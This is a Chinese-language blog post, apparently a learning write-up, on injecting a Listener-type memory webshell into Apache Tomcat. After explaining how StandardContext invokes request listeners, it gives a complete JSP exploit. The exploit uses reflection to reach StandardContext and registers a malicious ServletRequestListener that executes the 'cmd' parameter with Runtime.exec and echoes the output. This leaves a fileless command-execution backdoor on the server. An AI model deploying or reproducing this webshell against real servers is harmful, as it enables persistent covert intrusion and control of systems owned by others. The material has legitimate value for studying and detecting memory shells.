Tomcat内存马:Listener型

Uncategorized
874 words

前情提要

看Listerner型内存马之前先给自己纠正一个误区,之前一直以为Listener是在Filter之后执行的,也是看了别的师傅的博客才纠正过来,属于是软工白学了。

Listener的监听对象可以分为以下三种

  • ServletContext,服务器启动和终止时触发

  • Session,有关Session操作时触发

  • Request,访问服务时触发
    最好监听的显然是Request,随便访问一个路径就能触发,我们的注入对象也肯定是选择Request的监听器,在注入之前,我们有以下两个概念需要了解下

  • EventListener
    所有类型的监听器对象都必须实现的接口,因为这里我们的注入对象选的是Request型的,所以这里我们要重点关注它的 ServletRequestListener 子接口 (光看名字都知道这个和request有关吧)

  • ServletRequestListener
    能够看出Request的监听器接口一共就两个方法需要我们实现,requestInitialized()requestDestroyed() ,光看名字也能知道他们的具体执行顺序,也不多说了,直接准备一下监听器部分的代码

ListenerDemo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.example;  

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;

@WebListener("/listenerTest")
public class ListenerDemo implements ServletRequestListener {
public ListenerDemo(){
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("Listener#requestDestroyed 被调用");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("Listener#requestInitialized 被调用");
}
}

web.xml

1
2
3
<listener>  
<listener-class>org.example.ListenerDemo</listener-class>
</listener>

随便访问个路径得到以下结果,证明监听器设置完毕,我们在requestInitialized设个断点看一下调用栈,能够看出来监听器这里依然是由standardContext管理的,我们跟进一下StandardContext#fireRequestInitEvent()这里

能够看到这里是在5983行对我们的监听器进行了调用,5980行对监听器进行了赋值
。这里的这个instance 肯定就是我们的溯源重点了,往前翻一下instance的赋值流程,发现了一个重量级方法getApplicationEventListeners(),跟进一下



出来的结果如下,到这一步我们基本就有一个具体的思路了,只要给StandardContextapplicationEventListenersList加一个我们自己构造的Listener对象即可。

Exp构造

很简单的啦,套一套之前的Filter型模板就有啦

StandardContext对象获取

1
2
3
4
5
6
7
8
9
10
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

恶意Listener

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<%
public class Shell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

给StandardContext添加Listener

1
2
3
4
<%
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>

完整Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<%@ page import="org.apache.catalina.core.StandardContext" %>  
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!

class ListenerMemShell implements ServletRequestListener {

@Override
public void requestInitialized(ServletRequestEvent sre) {
String cmd;
try {
cmd = sre.getServletRequest().getParameter("cmd");
org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(requestFacade);
Response response = request.getResponse();

if (cmd != null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
int i = 0;
byte[] bytes = new byte[1024];
while ((i=inputStream.read(bytes)) != -1){
response.getWriter().write(new String(bytes,0,i));
response.getWriter().write("\r\n");
}
} }catch (Exception e){
e.printStackTrace();
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
} }%>

<%
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);


Object[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());
%>

执行结果如下,总体来说比Filter型的简单很多嗷